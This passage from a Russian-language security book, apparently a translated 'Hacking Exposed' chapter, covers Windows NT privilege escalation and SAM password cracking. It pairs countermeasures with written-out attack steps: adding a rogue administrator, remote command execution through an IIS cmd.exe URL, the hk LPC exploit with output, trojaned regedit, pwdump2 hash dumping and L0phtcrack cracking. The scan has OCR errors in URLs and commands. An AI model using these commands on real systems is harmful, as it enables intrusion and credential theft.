            net user mallory qpensesame /add && net localgroup administrators mallory /add
            После того как в требуемый каталог помещены утилита sechole, связанные с ней динамически подключаемые библиотеки, командный интерпретатор cmd.exe и файл adduser.bat, для его запуска взломщику достаточно ввести соответствующий адрес URL в Web-броузере, подключенном к удаленному компьютеру. В примере, показанном на рис. 5.4, утилита sechole была помещена в виртуальный каталог /WSSVC/I/ROOT/SCRIPTS (т.е. в физический каталог C:\inetpub\SCRiPTS), а затем запущена с помощью соответствующего адреса URL.



            Рис. 5.4. Взлом удаленной системы с помощью утилиты sechole

            Далее вместо того чтобы регистрироваться с использованием учетной записи IUSR, пароль которой пока неизвестен, взломщик добавит нового пользователя с помощью файла сценария adduser.bat, запущенного в броузере с использованием следующего сложного адреса URL.
            http://192.168.202.154/scripts/cmd.exe?/c%20c:\inetpub\scripts\adduser.bat
            Подстрока %20 интерпретируется Web-сервером как символ пробела, что приводит к преобразованию адреса URL в команду, которая выполнится на удаленном узле (команда cmd /с будет передавать команды, содержащиеся в файле adduser.bat, командной оболочке).
            Теперь, когда учетная запись IUSR внесена в группу администраторов и добавлен новый пользователь с привилегиями администратора, взломщик стал "владельцем" Web-сервера.

            Контрмеры: защита от применения утилиты sесhо1е



            Существует два простых метода защиты как от утилиты sechole, так и от удаленного выполнения команд в Web. Во-первых, установите самый последний сервисный пакет (6А или более новый). Для систем, на которых установлен сервисный пакет SP5, можно воспользоваться модулем обновления. Более подробную информацию можно получить в статье KB Q190288. Затем, независимо от того, волнует ли вас проблема sechole или нет, запретите доступ для записи в каталоги сервера Internet, в которых содержатся исполняемые файлы (см. табл. 5.4). Для этого проще всего заблокировать доступ к портам TCP и UDP сервера с номерами 135-139 и, таким образом, исключить доступ к совместно используемым ресурсам Windows. Если доступ с использованием протокола SMB заблокирован, обязательно убедитесь в том, отключен также доступ на запись по протоколу FTP.
            Еще один метод решения проблемы заключается в отключении разрешений Execute для виртуального Web-сервера. Они могут устанавливаться глобально в группе параметров Application Settings во вкладке Home Directory диалогового окна свойств Default Web Site Properties, доступ к которому можно получить с помощью консоли управления Microsoft (рис. 5.5).
            Свойства других каталогов можно установить отдельно, в стандартном окне свойств, которое появляется на экране после щелчка правой кнопкой мыши на соответствующей пиктограмме в окне проводника Windows. В открывшемся окне свойств перейдите во вкладку Web Sharing и щелкните на кнопке Edit Properties (см. рис. ниже).



            Рис. 5.5. Вкладка Ноте Directory диалогового окна свойств виртуального Web-сервера, на которой отключены разрешения Execute


            После щелчка на кнопке Edit Properties на экране появится диалоговое окно, показанное на следующем рисунке.


            Менее известный способ расширения привилегий, обеспечиваемый утилитой besysadm, появился после выпуска сервисного пакета Service Pack 5. Информацию о соответствующем модуле обновления можно найти по адресу http://www. microsoft.cam/technet/eecurity/bullatin/ms99-006.asp

            Ложные запросы к портам LPC



            Такую возможность обнаружила группа исследователей RAZOR (http://razor. bindview.com) и предоставила авторам проверочный код, который, однако, не был открыт для широкого использования. В приведенном коде иллюстрируется изъян одной из функций интерфейса с портами LPC (Local Procedure Call — локальный вызов процедур), который позволяет потокам и процессам на локальном узле взаимодействовать друг с другом. Обычно порты LPC обеспечивают интерфейс между потоком сервера и клиентными потоками, которые генерируют запросы на использование служб. Кроме того, порты LPC выполняют проверку легитимности клиента. Однако взломщик, у которого имеется возможность создать оба потока, и сервера и клиента. может обойти такую проверку и связать клиентный поток с любым пользователем, даже имеющим привилегии SYSTEM.
            Воспользуемся утилитой hk от группы RAZOR и добавим в группу администраторов пользователя mallory, входящего в состав группы Backup operators и имеющего разрешение на интерактивную регистрацию.
            Во-первых, с помощью утилиты whoami из пакета NTRK убедимся, что пользователь mallory действительно принадлежит к группе Backup Operators, а не администраторов.

            С:\>whoami
            [Group 1] = "IIS47\None"
            [Group 2] = "Everyone"
            [Group 3] - "BUILTIN\Users"
            [Group 4] = "BUILTINXBackup Operators"

            Кроме того, удостоверимся в том, что пользователь Mallory не может добавить себя п группу администраторов самостоятельно.

            C:\>net looalgroup administrators mallory /add
            System error 5 has occurred.
            Access is denied,

            Теперь воспользуемся командой net use совместно с утилитой hk.

            C:\>hk net localgroup administrators mallory /add
            Isass pid & tid are: 47 - 48
            NtlmpersonateClientOfPort succeeded
            Launching line was: net localgroup
            administrators mallory /add
            Who do you want to be today?

            Теперь Мэлори (Mallory) принадлежит к группе администраторов, как видно из приведенного листинга.

            C:\>net localgroup administrators
            Alias name administrators
            Comment Members can fully administer the computer/domain
            Members
            -------------------------
            Administrator mallory
            The command completed successfully.

            Применяйте модули обновления!



            Компания Microsoft выпустила модуль обновления сервисного пакета SP6A, который изменяет вызов функции проверки достоверности, входящей в состав программного интерфейса с портами LPC. Этот модуль обновления можно найти в бюллетене MS00-003 компании Microsoft по адресу http://www.microsoft.com/technet/security/bulletin/ms00-003.asp.
            Не лишним будет еще раз повторить, что это модуль обновления сервисного пакета SP6A. Многие организации предпочитают ожидать выпуска следующего сервисного пакета. Такая позиция довольно безрассудна, поскольку до того, как компания Microsoft выпустит сервисный пакет SP7, компьютеры таких компаний остаются уязвимыми для взломщиков. Если SP7 никогда не выйдет в свет, эта ситуация не изменится до тех пор, пока не будет выполнено обновление до Win 2000. Так что лучше всего воспользоваться модулями обновления!
            Теперь перейдем к рассмотрению некоторых других методов, с помощью которых взломщик может запустить утилиты getadmin, sechole, besysadm, hk и другие программы, предназначенные для расширения привилегий.

            "Троянские кони" и параметры реестра



            Основной принцип расширения привилегий заключается в том, чтобы ввести в заблуждение других пользователей (лучше всего администратора) и выполнить код, который позволит учетной записи взломщика получить привилегии суперпользователя. Аналогичный подход состоит во внедрении какого-либо кода, который будет выполнен при наступлении некоторого обычного события в системе (например, в процессе перезагрузки). Обе из этих стратегий, а также методы борьбы с ними, обсуждаются ниже.

            Многие из описанных ниже методов гораздо глубже и полнее освещаются на страницах прекрасного Web-узла Security Bugware, которые можно найти по адресу http://Oliver.efri.hr/-crv/security/bugs/NT/getadmt#].html, где # — числа от 2 до 7.

            "Троянские кони" и расширение привилегий



            "Троянский конь" (Trojan horse) — это программа, которая предоставляет некоторые полезные функции, однако на самом деле предназначена для скрытного выполнения злонамеренных или разрушительных действий (для получения более подробной информации читайте главу 14). От одной только мысли о возможностях, открывающихся при переименовании стандартных утилит NT, голова идет кругом! Например, вместо программы regedit.exe взломщик может поместить в каталог winnt\system32 командный файл regedit.cmd. Когда ничего не подозревающий администратор введет в командной строке regedit, чтобы выполнить какие-то операции с системным реестром, будет запущен командный файл. Обычно с его помощью выполняется тот или иной вариант следующей команды. net localgroup administrators <пользователь> /add
            Таким образом, администратор собственноручно внес учетную запись взломщика в группу Administrators.

            Контрмеры: защита от "троянских коней"



            Хотя предлагаемые контрмеры и не обеспечивают стопроцентной защиты, все же будьте внимательны при запуске приложений. Обращайте внимание на различные аномалии (например, быстро промелькнувшее окно командной строки в момент вызова полноценной программы Windows).
            При выявлении "троянских коней" могут оказаться полезными некоторые средства. К ним относятся встроенные утилиты, например dir, которая при использовании параметра /С выводит размер файлов, а при указании параметра /Т также время его создания, последнего доступа и последней модификации. Команду dir использовать гораздо лучше, чем проводник Windows, поскольку она не изменяет временные параметры файлов. Можно воспользоваться также мощными коммерческими программами защиты файловой системы, например программой Tripwire от компании Tripewire, Inc. (см. табл. 5.2). Эта программа создает для файлов зашифрованные контрольные суммы, так что с ее помощью можно выявить любые изменения.

            Подсистема защиты файлов системы Win 2000 (WFP — Windows File Protection) обеспечивает хранение резервных копий около шестисот важных файлов в каталоге %windir% и предотвращает их от перезаписи.

            Поскольку "троянских коней" очень трудно обнаружить (особенно те из них, которые выполняют модификацию самого ядра NT), стоит поддерживать максимальные меры предосторожности. А именно, создавайте резервные копии своих данных, переустанавливайте операционную систему и все приложения только с проверенных носителей информации. Некоторые из наиболее коварных "троянских коней", называемых наборами rootkit, будут рассмотрены ниже в данной главе.

            Параметры реестра, обеспечивающие выполнение программ



            Еще одним хорошим методом скрытого запуска командного файла является использование специальных значений в системном реестре NT. В зависимости от разрешений пользователя, под именем которого взломщик проник в систему, ему могут быть доступны некоторые из таких параметров системного реестра. Помните, что удаленный доступ к системному реестру могут получить только администраторы, а на консоли сервера могут зарегистрироваться лишь несколько пользователей из встроенных учетных записей NT. Поэтому вероятность того, что взломщику удастся воспользоваться описанным здесь способом, очень мала. Ему повезет только в том случае, когда используемая им учетная запись входит в группу Server Operators. В табл. 5.5 перечислены некоторые параметры системного реестра и разрешения, установленные для них по умолчанию, которыми могут воспользоваться взломщики для запуска программ.

            Таблица 5.5. Параметры системного реестра, которые можно использовать для вызова программ, расширяющих привилегии пользователя

            Параметр
            Разрешения по умолчанию
            Значение, позволяющее запуск
            HKLM\SOFTWARE\Microsoft\Windows\ CurrentVersion\Run
            Everyone: Set Value
            [любое]
            HKLMX SOFTWARE \Microsoft\Windows\ CurrentVersion \RunOnce
            Server Operators: Set Value
            [любое]
            HKLMX SOFTWARE \Microsoft\Windows\ Cur rent Version \RunOnceEx
            Everyone: Set Value
            [любое]
            HKLMX SOFTWARE\Microsoft\WindowsNT\ CurrentVers i on \ AeDebug
            Everyone: Set Value
            Debugger
            HKLMX SOFTWARE\Microsoft\WindowsNT\ CurrentVer si on XWinlogon
            Server Operators: Set Value
            Userinit

            Защита параметров системного реестра



            С использованием редактора системного реестра regedt32 для этих параметров необходимо задать следующие разрешения.

            •  CREATOR OWNER: Full control
            •  Administrators: Full Control
            •  SYSTEM: Full control
            •  Everyone: Read

            Подобная настройка может повлиять на работоспособность некоторых приложений. Поэтому сначала удостоверьтесь, что внесенные изменения не отразились на функциональности системы. Кроме того, не забывайте о том, что описанные выше параметры системного реестра зачастую используются для скрытого запуска приложений во время загрузки, о чем более подробно вы узнаете ниже в данной главе.

            Несколько заключительных слов о расширении привилегий



            Теперь у вас не вызывает сомнений тот факт, что расширить привилегии чрезвычайно сложно. Единственное, что может помочь взломщику, — это грубые ошибки в настройке системы или же получение доступа к учетной записи, которая и так обладает достаточно высокими привилегиями (например, является членом группы Server Operators). Далее мы рассмотрим самый худший (с точки зрения безопасности) сценарий -— взломщик получил доступ к системе на уровне администратора.


            8.gif

            Изображение: 

            9.gif

            Изображение: 

            10.gif

            Изображение: 

            11.gif

            Изображение: 

            7. Расширение привилегий



            Расширение привилегий


            У вас может возникнуть вопрос: "Стоит ли читать, что может произойти, когда кто-то получит права администратора на моем компьютере? И так все ясно!" Не спешите с выводами — отформатировать жесткий диск и переустановить систему с установочных дисков вы всегда успеете. Гораздо важнее попытаться установить, какие ресурсы были использованы взломщиком и как далеко ему удалось продвинуться. Взломщик мог назначить привилегии администратора локальной системы какому-нибудь пользователю, не имеющему практически никаких прав для доступа к другим компьютерам сети. Поэтому ему, скорее всего, понадобится установить в сети дополнительные средства, с помощью которых он мог бы расширить свои полномочия. Выявить взломщика на этом этапе и остановить его проникновение не только возможно, но и жизненно необходимо. В данном разделе вы найдете подробное описание некоторых основных средств и методов, используемых в этой чрезвычайно важном "финальном поединке" взломщика и системного администратора.

            Взлом базы данных SAM



            Получив привилегии администратора, взломщик, скорее всего, сразу же направится к диспетчеру SAM системы NT (SAM — Security Accounts Manager). В базе данных SAM содержатся имена и зашифрованные пароли всех пользователей локального узла или домена, если взламываемая система является контроллером. Поэтому данные SAM — наиболее вожделенная цель для нанесения завершающего удара, подобная файлу /etc/passwd из мира UNIX. Даже если база данных SAM получена с автономной станции NT, существует шанс получения с ее помощью доступа к контроллеру домена. Таким образом, взлом диспетчера SAM — это один из наиболее мощных методов расширения привилегий и использования доверительных отношений.
            Стоп, скажет внимательный читатель, а как же зашифрованные пароли? Неужели шифрование не сможет свести на нет все попытки хакеров? Теоретически — да, однако на практике дела обстоят не совсем так. К сожалению, для обеспечения обратной совместимости компания Microsoft значительно ослабила безопасность SAM, используя алгоритм хэширования (одностороннего шифрования), оставшийся в наследство NT от сетей Lan Manager. Хотя поддерживается и новый алгоритм NT, операционная система вынуждена хранить вместе с новым хэш-кодом и хэш-код, вычисляемый по старому алгоритму LanManager, чтобы обеспечить совместимость с клиентами Windows 9х и Windows for Workgroups. Более простой алгоритм хэширования LanManager уже давно был изучен, поэтому в большинстве случаев пароли сервера NT можно получить достаточно просто. Все зависит лишь от их длины и набора символов. Например, lOplncrack, одна из самых популярных утилит взлома файлов SAM, позволяет взломать любой буквенно-цифровой пароль за 24 часа на компьютере с процессором Pentium II 450 МГц (версия 2.5; подробнее см. http://www.10pht.com/10phtcrack). Техническое обоснование слабости подхода, применяемого при хэшировании паролей в NT, приведено по адресу http://www. l0pht.com/l0phtcrack/rant.html, а также содержится ниже в разделе "Строгие Правила Выбора Пароля" этой главы.
            Утилиты взлома паролей, несмотря на кажущуюся сложность решаемой ими задачи, на самом деле не что иное, как быстрые и оптимизированные инструменты автоматизированного подбора паролей. Сначала по заданным входным данным (список слов из словаря или случайным образом генерируемые строки) и с использованием алгоритма шифрования они получают результат, а затем сравнивают его с хэш-кодом пользовательского пароля. Если оба значения совпадают, значит, пароль угадан, т.е. "взломан". Данный процесс обычно выполняется в автономном режиме с использованием перехваченного файла паролей, поэтому блокировки учетной записи в таких случаях вообще не возникает, а процесс подбора пароля может продолжаться сколь угодно долго. Как правило обработка зашифрованных данных оказывается весьма ресурсоемким процессом. Однако, как мы уже упоминали, знание тех или иных недостатков взламываемой системы, к каким, например, относится хорошо изученный алгоритм хэширования LanMan, позволяет значительно ускорить этот процесс. Таким образом, получение пароля — это лишь вопрос производительности процессора и размера словаря (некоторые примеры словарей и списков слов можно найти по адресу http://coast.cs.purdue.edu).
            He хотите ли воспользоваться этими инструментами, чтобы проверить, насколько хороши выбранные вашими пользователями пароли? Что ж, тогда приступим.

            Получение базы данных SAM



            При осуществлении любых попыток взлома первый этап состоит в получении файла паролей, который в случае NT называется файлом данных SAM.
            Система NT хранит данные SAM в файле с именем (ни за что не догадаетесь!) SAM, который содержится в каталоге %systemroot%\system32\config (во время работы операционной системы доступ к этому файлу заблокирован). Файл SAM является одним из пяти основных ульев системного реестра NT и представляет собой физическое место хранения данных из группы параметров системного реестра HKEY_LOCAL_MACHINE\SAM. Эта группа параметров недоступна для изменения, даже после регистрации в качестве администратора. (Однако, используя некоторые хитрости и службу Schedule, это все же можно осуществить. Для получения об этом более подробной информации читайте раздел "Аудит Доступа К Базе Данных SAM?" ниже в этой главе).
            Существует четыре способа получения данных SAM: перезагрузка компьютера с помощью дискеты с альтернативной операционной системой и последующее копирование файла SAM на съемный носитель; копирование резервной копии файла SAM, созданной утилитой восстановления системы NT; извлечение хэшированных паролей непосредственно из SAM. Четвертый метод основывается на перехвате данных об именах пользователей и паролях, передаваемых по сети (такой подход уже рассматривался в разделе "Перехват паролей, передаваемых по сети" выше в этой главе).

            Перезагрузка с помощью альтернативной операционной системы



            Для того чтобы перезагрузиться с использованием другой операционной системы, достаточно подготовить системную дискету с DOS. Если на жестком диске интересующего вас компьютера установлена файловая система NTFS, то на эту дискету необходимо поместить соответствующий драйвер NTFS, называемый NTFSDOS, от компании Systems Internals (http://www.sysinternals.com/). С помощью этого драйвера все разделы NTFS будут смонтированы в качестве логических дисков DOS, после чего не останется никаких препятствий для копирования файла SAM.

            Извлечение резервной копии файла SАМ из каталога Repair



            При каждом запуске утилиты NT Repair Disk Utility (rdisk) с параметром /s, который активизирует режим резервного копирования важной системной информации, создается сжатая версия базы данных SAM, которая помещается в каталог %systemroot%\repair под именем Sam._. После завершения копирования важных данных на аварийную дискету многие системные администраторы не утруждают себя задачей удаления этого файла.
            Для того чтобы воспользоваться сжатым файлом Sam._, его нужно сначала распаковать, как показано в следующем примере. (Последняя версия утилиты L0phtcrack позволяет выполнить эту операцию автоматически после выбора команды import.)

            С:\>expand sam._sam
            Microsoft (R) File Expansion Utility Version 2.50
            Copyright (C) Microsoft Corp 1990-1994.
            All rights reserved.
            Expanding sam._ to sam.
            sam._: 4545 bytes expanded to
            16384 bytes, 260% increase.

            Извлечение хэш-кодов из данных SAM



            При наличии привилегий администратора кэш-коды паролей можно легко получить непосредственно из системного реестра в формате, подобном формату файла /etc/passwd UNIX. Для этого можно воспользоваться утилитой pwdump, написанной Джереми Аллисоном (Jeremy Allison). Исходный код этой утилиты и ее откомпилированные версии для Windows можно найти в архивах Internet. Новые версии утилиты LOphtcrack также имеют подобное встроенное средство. Однако ни pwdump, ни LOphtcrack не способны преодолеть расширенное шифрование файла SAM с использованием ключа SYSKEY, появившееся после выпуска сервисного пакета Service Pack 2 (для получения более подробной информации читайте раздел "Контрмеры: Защита От Взлома Пароля" ниже в этой главе).
            Более поздняя версия утилиты pwdump, написанная Тоддом Сабином (Todd Sabin) и названная pwdump2 (http://razor.bindview.com/tools/desc/pwdump2_readme.html), может обойти SYSKEY-защиту. Работа pwdump2 основана на внедрении библиотеки DLL (см. выше описание утилиты getadmin), посредством чего она записывает свой код в пространство другого процесса, обладающего более высоким уровнем привилегий. После этого внедренный код вызывает внутренние функции интерфейса API, с помощью которых утилита получает доступ к зашифрованным паролям, минуя необходимость их расшифровки.
            В отличие от pwdump утилита pwdump2 должна запускаться в пространстве процессов взламываемой системы. Причем в данном случае по-прежнему требуется процесс с привилегиями администратора, а также библиотека samdump.DLL (которая распространяется вместе с pwdump2).
            Привилегированный процесс, используемый утилитой pwdump2,— это процесс lsass.exe подсистемы защиты (Local Security Authority Subsystem — LSASS). Утилита внедряет свой код в адресное пространство и пользовательский контекст процесса lsass.exe. Однако перед запуском утилиты необходимо вручную получить идентификатор процесса (PID — Process ID).

            Тодд Сабин написал обновленную версию утилиты pwdump2, после установки которой идентификатор РЮ процесса LSASS можно получить автоматически. Поэтому пользователям обновленной версии выполнять этот шаг вручную не требуется. Однако сейчас мы сосредоточимся на обсуждении основной концепции получения идентификаторов процессов, которую потребуется использовать в тех случаях, когда обновленная версия утилиты pwdump2 отсутствует.

            Воспользуемся утилитой pulist из NTRK и, объединив ее с утилитой find, получим идентификатор процесса lsass.exe, как показано в следующем примере.

            D:\>pulist | find "lsass"
            lsass.exe 50 NT AUTHORITYXSYSTEM

            Теперь можно запустить утилиту pwdump2, передав ей в качестве параметра полученный идентификатор PID 50. По умолчанию результаты выводятся на экран (в приведенном выше примере они показаны в сокращенной форме), однако их легко перенаправить в файл. Пом-
            ните, что pwdump2 должна выполняться локально на удаленной системе. В противном случае вы получите дамп собственных паролей! Обсуждение методов удаленного запуска программ содержится ниже в разделе "Удаленное Управление И Потайные Ходы" данной главы.

            D:\>pwdump2 50
            A. Nonymous:1039:e52cac67419a9a22
            4a3bl08f3fa6cb6d:8846f7eaee8fbll7..
            ACMEPDC1$:1000: 922bb2aaaObc07334d9al
            60a08db3a33 : d2ad2ce86a7d90f d62..
            Administrator: 500:48b48ef 5635d97b6f 513f
            7c84b50c317 : 8a6a398a2d8c84f..
            Guest:501:aOel50c75al7008eaad3b435b51404ee:
            823893adfad2cda6ela414f..
            IUSR_ACMEPDC1:1001:cabf272ad9e04b24af3
            f5fe8cOf 05078:e6f 37a4 69ca3f8..
            IWAM_ACMEPDC1: 1038:3d5c22dObal7f25c2eb
            8a6e701182677:d96bf5d98ec992..

            Из данного примера видно, что выводятся такие поля, как имя пользователя, относительный идентификатор RID (см. главу 3), хэш-код LanMan и кэш-код NT I последний выведен только частично). Все поля отделяются друг от друга двоеточием. Направив вывод в файл, можно получить готовые исходные данные для многих средств взлома паролей системы NT.

            Самая последняя версия утилиты pwdump2 позволяет также извлекать хэш-коды из базы данных активного каталога.

            Перехват данных о пользовательских именах и паролях, передаваемых по сети



            Одной из сильных сторон утилиты LOphtcrack является возможность извлекать \эш-коды паролей прямо из SMB-пакетов, передаваемых по сети. Этот подход уже рассматривался в одном из предыдущих разделов, посвященных подбору паролей.
            Поскольку утилита LOphtcrack способна выполнить большую часть из описанных выше задач, давайте перейдем к обсуждению подробностей того, как это осуществить.

            Взлом паролей NT



            В данном разделе вы познакомитесь с тремя утилитами, предназначенными для взлома паролей системы NT. Хотя наиболее известной является утилита L0phtcrack, здесь мы рассмотрим и некоторые другие средства.

            L0phtcrack



            Версию утилиты L0phtcrack с графическим интерфейсом, распространяемую исследовательской лабораторией компании ©stake по цене S100, можно найти по адресу http://www.atstake.com. Для сохранения душевного покоя системного администратора это совсем недорого. Во время написания этой книги была выпущена бета-версия 3 утилиты L0phtcrack — первое существенное обновление программы за последние два года.
            Как уже упоминалось, утилита L0phtcrack может импортировать данные SAM из нескольких источников: из самого файла SAM, из его резервной копии SAM._, с удаленного компьютера (используя привилегии администратора и встроенную функцию, работающую по принципу утилиты pwdump), а также непосредственно из потока данных, передаваемых по сети. Ниже показано простое диалоговое окно утилиты, используемой для получения хэш-кодов паролей. Как видно из рисунка, требуется просто ввести IP-адрес взламываемой системы.
            Еще раз обращаем ваше внимание на то, что встроенная утилита последней (на момент написания данной книги) версии L0phtcrack не обладает возможностью взлома расширенного SYSKEY-шифрования базы данных SAM (см. ниже раздел "Шифрование Syskey"). Поэтому, если на взламываемой системе используется SYSKEY-шифрование, необходимо пользоваться описанной выше утилитой pwd'jzr\p2.
            Затем с помощью команды File>Open Wordlist File нужно указать используемый файл словаря (обширный словарь, содержащий часто употребляемые в качестве пароля слова английского языка, распространяется вместе с утилитой). И наконец, с помощью команды Tools>Options нужно установить некоторые параметры. Для взлома пароля путем перебора необходимо установить флажок Enabled, находящийся в группе параметров Brute Force Attack диалогового окна Tools Options. Затем нужно выбрать предполагаемый набор символов, из которого будут генерироваться пароли (чем больше набор, тем дольше придется перебирать все возможные комбинации). Утилита L0phtcrack сначала попытается подобрать пароль с помощью словаря и лишь после этого перейдет к перебору всех возможных вариантов. Прерванный сеанс подбора пароля можно продолжить позже с того же места, в котором произошла остановка. Поэтому в общем случае вопрос продолжительности работы не является критичным. Поддерживается также компромиссный режим Dictionary/Brute Hybrid, при использовании которого метод подбора пароля из словаря объединяется с перебором всех возможных вариантов. Действительно, учитывая, что многие пользователи выбирают пароли вида password!23, не утруждая себя задачей запоминания сложного пароля, имеет смысл попробовать применить в качестве пароля слова, содержащиеся в словаре, с добавлением к ним заданного количества символов. Пример выбора параметров в окне Tools Options показан на следующем рисунке.
            Теперь просто выберите команду Tools>Run Crack, и утилита L0phtcrack возьмется за дело. В файле SAM, полученном из большого домена NT, практически всегда удается обнаружить нулевой пароль или слова из словаря (рис. 5.6). Кроме того, из данного рисунка видно, с какой легкостью угадываются пароли LanMan, что делает более надежную защиту с помощью алгоритма хэширования NT неэффективной. Даже в тех случаях, когда некоторые пароли остаются неразгаданными (как, например, пароль пользователя Malta), алгоритм LanMan позволяет узнать два последних символа таких паролей. Этого вполне достаточно, чтобы в течение суток подобрать остальные 7 символов, при условии, что пароль состоит лишь из букв и цифр.


            Текущее состояние процесса подбора пароля можно в любой момент сохранить в файле с расширением .1с. Поэтому работа утилиты L0phtcrack может быть безболезненно прекращена, а затем возобновлена с того же места с помощью команды File>Open Password File.
            Утилита L0phtcrack с графическим пользовательским интерфейсом является лучшим средством взлома файла паролей системы NT из всех имеющихся на рынке как по скорости работы, так и по простоте использования. Однако имеется и один недостаток: наличие графического интерфейса не позволяет использовать эту утилиту в сценариях и командных файлах. Для применения в командной строке на Web-узле http://www.atstake.com можно найти лишь устаревшую версию 1.5 (lc_cli.exe), которая распространяется вместе с исходным кодом. Так что, если говорить об утилитах взлома паролей, использующих интерфейс командной строки, лучше обратить внимание на продукты других разработчиков.




            Рис. 5.6. Утилита L0phtcrack за работой. Менее надежные пароли LanMan взломать гораздо легче, что делает ненужным подбор хорошо защищенных паролей NT

            John-потрошитель



            John — это программа взлома паролей с использованием словаря. Ее можно получить по адресу http://www.false.com. Первоначально эта утилита командной строки была создана для взлома файлов паролей системы UNIX, а теперь ее можно использовать для подбора хэш-кодов LanMan системы Windows NT. Помимо того, что John совместима с несколькими платформами и позволяет применять несколько разных алгоритмов шифрования, эта утилита отличается также высокой скоростью работы и тем, что распространяется бесплатно. С другой стороны, ее широкие возможности и, соответственно, большой набор параметров командной строки, делают эту утилиту более сложной в освоении, чем L0phtcrack. Кроме того, поскольку утилита John может взламывать лишь пароли LanMan, то полученные результаты необходимо проверять на соответствие прописных и строчных букв (пароли LanMan всегда переводятся в верхний регистр, тогда как в паролях NT используются как прописные, так и строчные буквы).

            Crack 5 с расширением для NT



            Утилита crack, написанная Алеком Маффетом (Alec Muffet), изначально предназначалась для взлома файлов паролей системы UNIX. Однако со временем для нее было создано расширение, которое позволило использовать эту утилиту и для взлома паролей NT (http://www.sun.rhbnc.ac.uk/~phacl07/c50a-nt-0.20.tgz). Самое большое преимущество использования утилиты crack состоит в очень широком разнообразии проверяемых ею вариаций возможных паролей (включая более 200 вариантов, основанных на имени пользователя). Однако все преимущества утилиты crack будут сведены на нет, если у вас отсутствует опыт работы в системе UNIX, необходимый для ее установки и запуска.

            Контрмеры: защита от взлома пароля



            Строгие правила выбора пароля



            Никакие технические средства не смогут обеспечить гарантированную защиту от взлома пароля. Они необходимы для создания эффективной защиты, но одних лишь технических средств недостаточно. Самым эффективным и вместе с тем трудно реализуемым средством был и остается правильный выбор пароля. Пользователи, выбирающие легко угадываемые пароли или записывающие их на обратной стороне клавиатуры, по-видимому, еще долго будут оставаться источником головной боли администраторов. Надеемся, что приведенное ниже описание некоторых скрытых недостатков, имеющихся в алгоритмах защиты паролей NT, сможет помочь вам в разъяснении пользователям необходимости строгого соблюдения ваших требований.
            Как мы уже неоднократно упоминали, в системе NT применяется два разных алгоритма шифрования пользовательских паролей: совместимый с LanManager (LMH — LanManager Hash) и созданный специально для NT (NTH — NT Hash) . Оба представления зашифрованного с помощью этих алгоритмов пароля хранятся в базе данных SAM. Как уже упоминалось, значение LMH вычисляется с помощью алгоритма, имеющего внутренние недостатки (в данном случае не стоит ругать Microsoft — алгоритм LanManager изначально был разработан компанией IBM).
            Самым большим недостатком алгоритма LMH является разделение пароля на две части, каждая из которых состоит из семи символов. Другими словами, пароль, имеющий длину 8 символов разделяется на два пароля, первый из которых состоит из 7 символов, а второй — из 1 символа. Подобные утилите L0phtcrack средства используют этот недостаток, проверяя одновременно обе половины пароля именно так, как если бы они были независимыми друг от друга паролями. Рассмотрим, например, 12-символьный пароль, который полностью соответствует требованиям библиотеки Passfilt — l23456Qwerty. Во-первых, когда пароль шифруется по алгоритму LM, его символы преобразуются в верхний регистр— 123456QWERTY. Затем к паролю добавляются нулевые символы (т.е. символы с кодом 0, чтобы получить строку, состоящую из 14 символов): 123456QWERTY_. Перед шифрованием эта строка делится на две части — 123456Q и WERTY_. После этого каждая строка шифруется независимо от другой, а полученные результаты объединяются. Зашифрованное значение ДЛЯ 123456Q — 6BF11E04AFAB197F, а ДЛЯ WERTY_— 1E9FFDCC75-575В15. Таким образом, полученный в результате хэш-код будет иметь следующее значение: 6BF11E04AFAB197F1E9FFDCC75575B15.
            Поскольку первая половина пароля, представленного хэш-кодом, содержит и буквы, и цифры, то на ее взлом путем перебора всех возможных вариантов с помощью утилиты L0phtcrack уйдут сутки или около того, в зависимости от вычислительной мощности используемого компьютера. Однако вторая половина пароля содержит только символы, поэтому на ее взлом понадобится всего лишь 60 секунд при использовании компьютера с процессором Pentium. На рис. 5.7 показано, как за считанные секунды с использованием утилиты L0phtcrack была взломана вторая половина пароля пользователя waldo (полный пароль —строка 123456qwerty).
            Каждая взломанная половина пароля отображается в соответствующей строке окна утилиты LOphtcrack. В рассматриваемом примере была идентифицирована вторая половина пароля пользователя waldo. Теперь можно сделать некоторые предположения о том, какой может быть первая половина пароля. Строка WERTY говорит о том, что в качестве пароля пользователь выбрал символы из верхнего ряда клавиш клавиатуры. Следовательно, имеет смысл проверить такие пароли, как QWERTYQWERTY, POIUYTQWERTY, ASDFGHQWERTY, YTREWQQWERTY И, наконец, 123456QWERTY. Эти варианты можно добавить в словарь, подготовленный для утилиты LOphtcrack, а затем приступить к очередному штурму. Менее чем через 5 секунд в окне LOphtcrack появляются и пароль LanMan, и пароль NT, как показано на рис. 5.8.



            Рис. 5.7. Утилита L0phtcrack взломала половину пароля пользователя waldo менее чем за минуту на компьютере с процессором Pentium



            Рис. 5.8. Утилита L0phtcrack с помощью обновленного словаря справилась с подбором правильного пароля за считанные секунды

            Данный пример наглядно демонстрирует, как относительно просто угадать казалось бы довольно сложный пароль LMH, зная его вторую половину. Таким образом, мы получаем парадокс: при данном подходе 12- и 13-символьные пароли могут оказаться менее надежными, чем 7-символьные, так как взломщик, зная вторую половину длинного пароля, может догадаться о том, из каких символов состоит первая половина, как это было показано в рассмотренном примере. Пароль, состоящий из восьми символов, вряд ли даст взломщику много информации, однако он, пусть только теоретически, не столь надежен, как 7-символьный пароль.
            Для снижения вероятности успешного взлома выбирайте пароли в точности длиной 7 или 14 символов. (Не забывайте, что длинные 14-символьные пароли пользователи, скорее всего, будут записывать и держать эти записи под рукой. Поэтому предпочтительнее использовать 7-символьные пароли.)
            Если же вы хотите поставить в тупик взломщика, вооруженного утилитой L0phtcrack, используйте в каждой половине пароля хотя бы один управляющий символ ASCII. Такие символы (например, символы с кодом 255 или 129) не отображаются на экране утилитой L0phtcrack. Конечно, ежедневный ввод таких паролей, требующих дополнительных нажатий клавиш для ввода символа по его коду (<Аlt>+код символа на цифровой вспомогательной клавиатуре в режиме <NumLock>), связан с некоторым неудобством и, по-видимому, будет использоваться только профессиональными пользователями, имеющими широкие полномочия по администрированию рабочих групп и учетных записей обычных пользователей. Что касается администраторов, то для них использование в паролях как можно большего количества неотображаемых символов должно стать обыденной практикой.
            Наконец, не забывайте о необходимости установить с помощью библиотеки Passfilt минимальную длину пароля, как это описано в приведенном выше разделе "Контрмеры: Защита От Подбора Пароля".

            Защита базы данных SAM



